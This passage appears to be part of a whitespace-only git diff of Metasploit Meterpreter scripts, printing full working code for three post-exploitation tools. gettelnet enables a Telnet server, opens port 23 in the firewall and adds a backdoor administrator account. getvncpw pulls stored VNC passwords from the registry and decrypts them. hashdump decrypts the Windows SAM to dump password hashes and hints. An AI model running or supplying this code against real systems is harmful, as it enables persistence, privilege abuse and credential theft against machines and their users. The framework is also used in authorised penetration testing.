-rc #{@dest}") + else + usage + end + + else + usage + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/gettelnet.rb b/scripts/meterpreter/gettelnet.rb index 0604f40eb695..dc18aadb823e 100644 --- a/scripts/meterpreter/gettelnet.rb +++ b/scripts/meterpreter/gettelnet.rb @@ -16,113 +16,113 @@ @dest = logs + "/clean_up_" + filenameinfo + ".rc" @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-e" => [ false, "Enable Telnet Server only." ], - "-p" => [ true, "The Password of the user to add." ], - "-u" => [ true, "The Username of the user to add." ], - "-f" => [ true, "Forward Telnet Connection." ] + "-h" => [ false, "Help menu." ], + "-e" => [ false, "Enable Telnet Server only." ], + "-p" => [ true, "The Password of the user to add." ], + "-u" => [ true, "The Username of the user to add." ], + "-f" => [ true, "Forward Telnet Connection." ] ) def checkifinst() - # This won't work on windows 2000 since there is no sc.exe - print_status("Checking if Telnet is installed...") - begin - registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\","Start") - return true - rescue - return false - - end + # This won't work on windows 2000 since there is no sc.exe + print_status("Checking if Telnet is installed...") + begin + registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\","Start") + return true + rescue + return false + + end end #--------------------------------------------------------------------------------------------------------- def insttlntsrv() - trgtos = @client.sys.config.sysinfo['OS'] - if trgtos =~ /Vista|7|2008/ - print_status("Checking if Telnet Service is Installed") - if checkifinst() - print_status("Telnet Service Installed on Target") - else - print_status("Installing Telnet Server Service ......") - cmd_exec("cmd /c ocsetup TelnetServer") - prog2check = "ocsetup.exe" - found = 0 - while found == 0 - @client.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - print_line "*" - sleep(0.5) - found = 0 - end - end - end - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c ocsetup TelnetServer /uninstall\"") - print_status("Finished installing the Telnet Service.") - - end - elsif trgtos =~ /2003/ - file_local_write(@dest,"reg setval -k \"HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\\" -v 'Start' -d \"1\"") - end + trgtos = @client.sys.config.sysinfo['OS'] + if trgtos =~ /Vista|7|2008/ + print_status("Checking if Telnet Service is Installed") + if checkifinst() + print_status("Telnet Service Installed on Target") + else + print_status("Installing Telnet Server Service ......") + cmd_exec("cmd /c ocsetup TelnetServer") + prog2check = "ocsetup.exe" + found = 0 + while found == 0 + @client.sys.process.get_processes().each do |x| + found =1 + if prog2check == (x['name'].downcase) + print_line "*" + sleep(0.5) + found = 0 + end + end + end + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c ocsetup TelnetServer /uninstall\"") + print_status("Finished installing the Telnet Service.") + + end + elsif trgtos =~ /2003/ + file_local_write(@dest,"reg setval -k \"HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\\" -v 'Start' -d \"1\"") + end end #--------------------------------------------------------------------------------------------------------- def enabletlntsrv() - key2 = "HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\" - value2 = "Start" - begin - v2 = registry_getvaldata(key2,value2) - print_status "Setting Telnet Server Services service startup mode" - if v2 != 2 - print_status "\tThe Telnet Server Services service is not set to auto, changing it to auto ..." - cmmds = [ 'sc config TlntSvr start= auto', "sc start TlntSvr", ] - cmmds. each do |cmd| - cmd_exec(cmd) - end - else - print_status "\tTelnet Server Services service is already set to auto" - end - # Enabling Exception on the Firewall - print_status "\tOpening port in local firewall if necessary" - cmd_exec('netsh firewall set portopening protocol = tcp port = 23 mode = enable') - - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + key2 = "HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\" + value2 = "Start" + begin + v2 = registry_getvaldata(key2,value2) + print_status "Setting Telnet Server Services service startup mode" + if v2 != 2 + print_status "\tThe Telnet Server Services service is not set to auto, changing it to auto ..." + cmmds = [ 'sc config TlntSvr start= auto', "sc start TlntSvr", ] + cmmds. each do |cmd| + cmd_exec(cmd) + end + else + print_status "\tTelnet Server Services service is already set to auto" + end + # Enabling Exception on the Firewall + print_status "\tOpening port in local firewall if necessary" + cmd_exec('netsh firewall set portopening protocol = tcp port = 23 mode = enable') + + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end #--------------------------------------------------------------------------------------------------------- def addrdpusr(username, password) - print_status "Setting user account for logon" - print_status "\tAdding User: #{username} with Password: #{password}" - begin - cmd_exec("net user #{username} #{password} /add") - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") - print_status "\tAdding User: #{username} to local group TelnetClients" - cmd_exec("net localgroup \"TelnetClients\" #{username} /add") - - print_status "\tAdding User: #{username} to local group Administrators" - cmd_exec("net localgroup Administrators #{username} /add") - - print_status "You can now login with the created user" - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + print_status "Setting user account for logon" + print_status "\tAdding User: #{username} with Password: #{password}" + begin + cmd_exec("net user #{username} #{password} /add") + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") + print_status "\tAdding User: #{username} to local group TelnetClients" + cmd_exec("net localgroup \"TelnetClients\" #{username} /add") + + print_status "\tAdding User: #{username} to local group Administrators" + cmd_exec("net localgroup Administrators #{username} /add") + + print_status "You can now login with the created user" + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end #--------------------------------------------------------------------------------------------------------- def message - print_status "Windows Telnet Server Enabler Meterpreter Script" + print_status "Windows Telnet Server Enabler Meterpreter Script" end def usage - print_line("Windows Telnet Server Enabler Meterpreter Script") - print_line("Usage: gettelnet -u -p ") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Windows Telnet Server Enabler Meterpreter Script") + print_line("Usage: gettelnet -u -p ") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @@ -133,40 +133,40 @@ def unsupported frwrd = nil enbl = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-u" - usr = val - when "-p" - pass = val - when "-h" - usage - when "-f" - frwrd = true - when "-e" - enbl = true - end + case opt + when "-u" + usr = val + when "-p" + pass = val + when "-h" + usage + when "-f" + frwrd = true + when "-e" + enbl = true + end } unsupported if client.platform !~ /win32|win64/i if enbl - message - insttlntsrv() - enabletlntsrv() - print_status("For cleanup use command: run multi_console_command -rc #{@dest}") + message + insttlntsrv() + enabletlntsrv() + print_status("For cleanup use command: run multi_console_command -rc #{@dest}") elsif usr!= nil && pass != nil - message - insttlntsrv() - enabletlntsrv() - addrdpusr(usr, pass) - print_status("For cleanup use command: run multi_console_command -rc #{@dest}") + message + insttlntsrv() + enabletlntsrv() + addrdpusr(usr, pass) + print_status("For cleanup use command: run multi_console_command -rc #{@dest}") else - usage + usage end if frwrd == true - print_status("Starting the port forwarding at local port #{lport}") - client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 23 -r 127.0.0.1") + print_status("Starting the port forwarding at local port #{lport}") + client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 23 -r 127.0.0.1") end diff --git a/scripts/meterpreter/getvncpw.rb b/scripts/meterpreter/getvncpw.rb index 21484313c4af..e588564cf99b 100644 --- a/scripts/meterpreter/getvncpw.rb +++ b/scripts/meterpreter/getvncpw.rb @@ -14,37 +14,37 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-k" => [ true, "Specific registry key to search (minus Password)."], - "-l" => [ false, "List default key locations"] + "-h" => [ false, "Help menu."], + "-k" => [ true, "Specific registry key to search (minus Password)."], + "-l" => [ false, "List default key locations"] ) def usage() - print("\nPull the VNC Password from a Windows Meterpreter session\n") - print("By default an internal list of keys will be searched.\n\n") - print("\t-k\tSpecific key to search (e.g. HKLM\\\\Software\\\\ORL\\\\WinVNC3\\\\Default)\n") - print("\t-l\tList default key locations\n\n") - completed + print("\nPull the VNC Password from a Windows Meterpreter session\n") + print("By default an internal list of keys will be searched.\n\n") + print("\t-k\tSpecific key to search (e.g. HKLM\\\\Software\\\\ORL\\\\WinVNC3\\\\Default)\n") + print("\t-l\tList default key locations\n\n") + completed end def get_vncpw(session, key) - root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) - begin - return open_key.query_value('Password') - rescue - # no registry key found or other error - return nil - end + root_key, base_key = session.sys.registry.splitkey(key) + open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) + begin + return open_key.query_value('Password') + rescue + # no registry key found or other error + return nil + end end def listkeylocations(keys) - print_line("\nVNC Registry Key Locations") - print_line("--------------------------\n") - keys.each { |key| - print_line("\t#{key}") - } - completed + print_line("\nVNC Registry Key Locations") + print_line("--------------------------\n") + keys.each { |key| + print_line("\t#{key}") + } + completed end # fixed des key @@ -52,11 +52,11 @@ def listkeylocations(keys) # 5A B2 CD C0 BA DC AF 13 # some common places for VNC password hashes keys = [ - 'HKLM\\Software\\ORL\\WinVNC3', 'HKCU\\Software\\ORL\\WinVNC3', - 'HKLM\\Software\\ORL\\WinVNC3\\Default', 'HKCU\\Software\\ORL\\WinVNC3\\Default', - 'HKLM\\Software\\ORL\\WinVNC\\Default', 'HKCU\\Software\\ORL\\WinVNC\\Default', - 'HKLM\\Software\\RealVNC\\WinVNC4', 'HKCU\\Software\\RealVNC\\WinVNC4', - 'HKLM\\Software\\RealVNC\\Default', 'HKCU\\Software\\RealVNC\\Default', + 'HKLM\\Software\\ORL\\WinVNC3', 'HKCU\\Software\\ORL\\WinVNC3', + 'HKLM\\Software\\ORL\\WinVNC3\\Default', 'HKCU\\Software\\ORL\\WinVNC3\\Default', + 'HKLM\\Software\\ORL\\WinVNC\\Default', 'HKCU\\Software\\ORL\\WinVNC\\Default', + 'HKLM\\Software\\RealVNC\\WinVNC4', 'HKCU\\Software\\RealVNC\\WinVNC4', + 'HKLM\\Software\\RealVNC\\Default', 'HKCU\\Software\\RealVNC\\Default', ] # parse the command line @@ -64,38 +64,38 @@ def listkeylocations(keys) keytosearch = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-l" - listkeylocations(keys) - when "-k" - keytosearch = val - end + case opt + when "-h" + usage + when "-l" + listkeylocations(keys) + when "-k" + keytosearch = val + end } if client.platform =~ /win32|win64/ if keytosearch == nil - print_status("Searching for VNC Passwords in the registry....") - keys.each { |key| - vncpw = get_vncpw(session, key) - if vncpw - vncpw_hextext = vncpw.data.unpack("H*").to_s - vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey - print_status("FOUND in #{key} -=> #{vncpw_hextext} => #{vncpw_text}") - end - } + print_status("Searching for VNC Passwords in the registry....") + keys.each { |key| + vncpw = get_vncpw(session, key) + if vncpw + vncpw_hextext = vncpw.data.unpack("H*").to_s + vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey + print_status("FOUND in #{key} -=> #{vncpw_hextext} => #{vncpw_text}") + end + } else - print_status("Searching in regkey: #{keytosearch}") - vncpw = get_vncpw(session, keytosearch) - if vncpw - vncpw_hextext = vncpw.data.unpack("H*").to_s - vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey - print_status("FOUND in #{keytosearch} -=> #{vncpw_hextext} => #{vncpw_text}") - else - print_status("Not found") - end + print_status("Searching in regkey: #{keytosearch}") + vncpw = get_vncpw(session, keytosearch) + if vncpw + vncpw_hextext = vncpw.data.unpack("H*").to_s + vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey + print_status("FOUND in #{keytosearch} -=> #{vncpw_hextext} => #{vncpw_text}") + else + print_status("Not found") + end end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/hashdump.rb b/scripts/meterpreter/hashdump.rb index 2ab37157fcd5..022f795d9cf7 100644 --- a/scripts/meterpreter/hashdump.rb +++ b/scripts/meterpreter/hashdump.rb @@ -3,21 +3,21 @@ @client = client opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-p" => [ true, "The SMB port used to associated credentials."] + "-h" => [ false, "Help menu." ], + "-p" => [ true, "The SMB port used to associated credentials."] ) smb_port = 445 opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "hashdump -- dump SMB hashes to the database" - print_line(opts.usage) - raise Rex::Script::Completed - when "-p" - smb_port = val.to_i - end + case opt + when "-h" + print_line "hashdump -- dump SMB hashes to the database" + print_line(opts.usage) + raise Rex::Script::Completed + when "-p" + smb_port = val.to_i + end } # Constants for SAM decryption @@ -29,271 +29,271 @@ @sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*") @des_odd_parity = [ - 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, - 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, - 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, - 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, - 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, - 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, - 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, - 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, - 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, - 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, - 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, - 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, - 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, - 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, - 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, - 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 ] def capture_boot_key - bootkey = "" - basekey = "System\\CurrentControlSet\\Control\\Lsa" - %W{JD Skew1 GBG Data}.each do |k| - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) - return nil if not ok - bootkey << [ok.query_class.to_i(16)].pack("V") - ok.close - end - - keybytes = bootkey.unpack("C*") - descrambled = "" + bootkey = "" + basekey = "System\\CurrentControlSet\\Control\\Lsa" + %W{JD Skew1 GBG Data}.each do |k| + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) + return nil if not ok + bootkey << [ok.query_class.to_i(16)].pack("V") + ok.close + end + + keybytes = bootkey.unpack("C*") + descrambled = "" # descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] - descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] + descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] - 0.upto(keybytes.length-1) do |x| - descrambled << [ keybytes[ descrambler[x] ] ].pack("C") - end + 0.upto(keybytes.length-1) do |x| + descrambled << [ keybytes[ descrambler[x] ] ].pack("C") + end - descrambled + descrambled end def capture_hboot_key(bootkey) - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) - return if not ok - vf = ok.query_value("F") - return if not vf - vf = vf.data - ok.close - - hash = Digest::MD5.new - hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric) - - rc4 = OpenSSL::Cipher::Cipher.new("rc4") - rc4.key = hash.digest - hbootkey = rc4.update(vf[0x80, 32]) - hbootkey << rc4.final - return hbootkey + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) + return if not ok + vf = ok.query_value("F") + return if not vf + vf = vf.data + ok.close + + hash = Digest::MD5.new + hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric) + + rc4 = OpenSSL::Cipher::Cipher.new("rc4") + rc4.key = hash.digest + hbootkey = rc4.update(vf[0x80, 32]) + hbootkey << rc4.final + return hbootkey end def capture_user_keys - users = {} - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ) - return if not ok - - ok.enum_key.each do |usr| - uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ) - next if usr == 'Names' - users[usr.to_i(16)] ||={} - users[usr.to_i(16)][:F] = uk.query_value("F").data - users[usr.to_i(16)][:V] = uk.query_value("V").data - - #Attempt to get Hints (from Win7/Win8 Location) - begin - users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0]) - rescue ::Rex::Post::Meterpreter::RequestError - users[usr.to_i(16)][:UserPasswordHint] = nil - end - - uk.close - end - ok.close - - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) - ok.enum_key.each do |usr| - uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) - r = uk.query_value("") - rid = r.type - users[rid] ||= {} - users[rid][:Name] = usr - - #Attempt to get Hints (from WinXP Location) only if it's not set yet - if users[rid][:UserPasswordHint].nil? - begin - uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ) - users[rid][:UserPasswordHint] = uk_hint.query_value("").data - rescue ::Rex::Post::Meterpreter::RequestError - users[rid][:UserPasswordHint] = nil - end - end - - uk.close - end - ok.close - users + users = {} + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ) + return if not ok + + ok.enum_key.each do |usr| + uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ) + next if usr == 'Names' + users[usr.to_i(16)] ||={} + users[usr.to_i(16)][:F] = uk.query_value("F").data + users[usr.to_i(16)][:V] = uk.query_value("V").data + + #Attempt to get Hints (from Win7/Win8 Location) + begin + users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0]) + rescue ::Rex::Post::Meterpreter::RequestError + users[usr.to_i(16)][:UserPasswordHint] = nil + end + + uk.close + end + ok.close + + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) + ok.enum_key.each do |usr| + uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) + r = uk.query_value("") + rid = r.type + users[rid] ||= {} + users[rid][:Name] = usr + + #Attempt to get Hints (from WinXP Location) only if it's not set yet + if users[rid][:UserPasswordHint].nil? + begin + uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ) + users[rid][:UserPasswordHint] = uk_hint.query_value("").data + rescue ::Rex::Post::Meterpreter::RequestError + users[rid][:UserPasswordHint] = nil + end + end + + uk.close + end + ok.close + users end def decrypt_user_keys(hbootkey, users) - users.each_key do |rid| - user = users[rid] + users.each_key do |rid| + user = users[rid] - hashlm_enc = "" - hashnt_enc = "" + hashlm_enc = "" + hashnt_enc = "" - hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc + hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc - #Check if hashes exist (if 20, then we've got a hash) - lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false - nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false + #Check if hashes exist (if 20, then we've got a hash) + lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false + nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false - #If we have a hashes, then parse them (Note: NT is dependant on LM) - hashlm_enc = user[:V][hoff + 4, 16] if lm_exists - hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists + #If we have a hashes, then parse them (Note: NT is dependant on LM) + hashlm_enc = user[:V][hoff + 4, 16] if lm_exists + hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists - user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass) - user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass) - end + user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass) + user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass) + end - users + users end def decode_windows_hint(e_string) - d_string = "" - e_string.scan(/..../).each do |chunk| - bytes = chunk.scan(/../) - d_string += (bytes[1] + bytes[0]).to_s.hex.chr - end - d_string + d_string = "" + e_string.scan(/..../).each do |chunk| + bytes = chunk.scan(/../) + d_string += (bytes[1] + bytes[0]).to_s.hex.chr + end + d_string end def convert_des_56_to_64(kstr) - key = [] - str = kstr.unpack("C*") - - key[0] = str[0] >> 1 - key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) - key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) - key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) - key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) - key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) - key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) - key[7] = str[6] & 0x7F - - 0.upto(7) do |i| - key[i] = ( key[i] << 1) - key[i] = @des_odd_parity[key[i]] - end - - key.pack("C*") + key = [] + str = kstr.unpack("C*") + + key[0] = str[0] >> 1 + key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) + key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) + key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) + key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) + key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) + key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) + key[7] = str[6] & 0x7F + + 0.upto(7) do |i| + key[i] = ( key[i] << 1) + key[i] = @des_odd_parity[key[i]] + end + + key.pack("C*") end def rid_to_key(rid) - s1 = [rid].pack("V") - s1 << s1[0,3] + s1 = [rid].pack("V") + s1 << s1[0,3] - s2b = [rid].pack("V").unpack("C4") - s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4") - s2 << s2[0,3] + s2b = [rid].pack("V").unpack("C4") + s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4") + s2 << s2[0,3] - [convert_des_56_to_64(s1), convert_des_56_to_64(s2)] + [convert_des_56_to_64(s1), convert_des_56_to_64(s2)] end def decrypt_user_hash(rid, hbootkey, enchash, pass) - if(enchash.empty?) - case pass - when @sam_lmpass - return @sam_empty_lm - when @sam_ntpass - return @sam_empty_nt - end - return "" - end + if(enchash.empty?) + case pass + when @sam_lmpass + return @sam_empty_lm + when @sam_ntpass + return @sam_empty_nt + end + return "" + end - des_k1, des_k2 = rid_to_key(rid) + des_k1, des_k2 = rid_to_key(rid) - d1 = OpenSSL::Cipher::Cipher.new('des-ecb') - d1.padding = 0 - d1.key = des_k1 + d1 = OpenSSL::Cipher::Cipher.new('des-ecb') + d1.padding = 0 + d1.key = des_k1 - d2 = OpenSSL::Cipher::Cipher.new('des-ecb') - d2.padding = 0 - d2.key = des_k2 + d2 = OpenSSL::Cipher::Cipher.new('des-ecb') + d2.padding = 0 + d2.key = des_k2 - md5 = Digest::MD5.new - md5.update(hbootkey[0,16] + [rid].pack("V") + pass) + md5 = Digest::MD5.new + md5.update(hbootkey[0,16] + [rid].pack("V") + pass) - rc4 = OpenSSL::Cipher::Cipher.new('rc4') - rc4.key = md5.digest - okey = rc4.update(enchash) + rc4 = OpenSSL::Cipher::Cipher.new('rc4') + rc4.key = md5.digest + okey = rc4.update(enchash) - d1o = d1.decrypt.update(okey[0,8]) - d1o << d1.final + d1o = d1.decrypt.update(okey[0,8]) + d1o << d1.final - d2o = d2.decrypt.update(okey[8,8]) - d1o << d2.final - d1o + d2o + d2o = d2.decrypt.update(okey[8,8]) + d1o << d2.final + d1o + d2o end if client.platform =~ /win32|win64/ - begin - - print_status("Obtaining the boot key...") - bootkey = capture_boot_key - - print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...") - hbootkey = capture_hboot_key(bootkey) - - print_status("Obtaining the user list and keys...") - users = capture_user_keys - - print_status("Decrypting user keys...") - users = decrypt_user_keys(hbootkey, users) - - print_status("Dumping password hints...") - print_line() - hint_count = 0 - users.keys.sort{|a,b| a<=>b}.each do |rid| - #If we have a hint then print it - if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0 - print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"" - hint_count += 1 - end - end - print_line("No users with password hints on this system") if hint_count == 0 - print_line() - - print_status("Dumping password hashes...") - print_line() - print_line() - users.keys.sort{|a,b| a<=>b}.each do |rid| - hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::" - @client.framework.db.report_auth_info( - :host => client.sock.peerhost, - :port => smb_port, - :sname => 'smb', - :user => users[rid][:Name], - :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], - :type => "smb_hash" - ) - - print_line hashstring - - end - print_line() - print_line() - - rescue ::Interrupt - raise $! - rescue ::Rex::Post::Meterpreter::RequestError => e - print_error("Meterpreter Exception: #{e.class} #{e}") - print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)") - rescue ::Exception => e - print_error("Error: #{e.class} #{e} #{e.backtrace}") - end + begin + + print_status("Obtaining the boot key...") + bootkey = capture_boot_key + + print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...") + hbootkey = capture_hboot_key(bootkey) + + print_status("Obtaining the user list and keys...") + users = capture_user_keys + + print_status("Decrypting user keys...") + users = decrypt_user_keys(hbootkey, users) + + print_status("Dumping password hints...") + print_line() + hint_count = 0 + users.keys.sort{|a,b| a<=>b}.each do |rid| + #If we have a hint then print it + if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0 + print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"" + hint_count += 1 + end + end + print_line("No users with password hints on this system") if hint_count == 0 + print_line() + + print_status("Dumping password hashes...") + print_line() + print_line() + users.keys.sort{|a,b| a<=>b}.each do |rid| + hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::" + @client.framework.db.report_auth_info( + :host => client.sock.peerhost, + :port => smb_port, + :sname => 'smb', + :user => users[rid][:Name], + :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], + :type => "smb_hash" + ) + + print_line hashstring + + end + print_line() + print_line() + + rescue ::Interrupt + raise $! + rescue ::Rex::Post::Meterpreter::RequestError => e + print_error("Meterpreter Exception: #{e.class} #{e}") + print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)") + rescue ::Exception => e + print_error("Error: #{e.class} #{e} #{e.backtrace}") + end 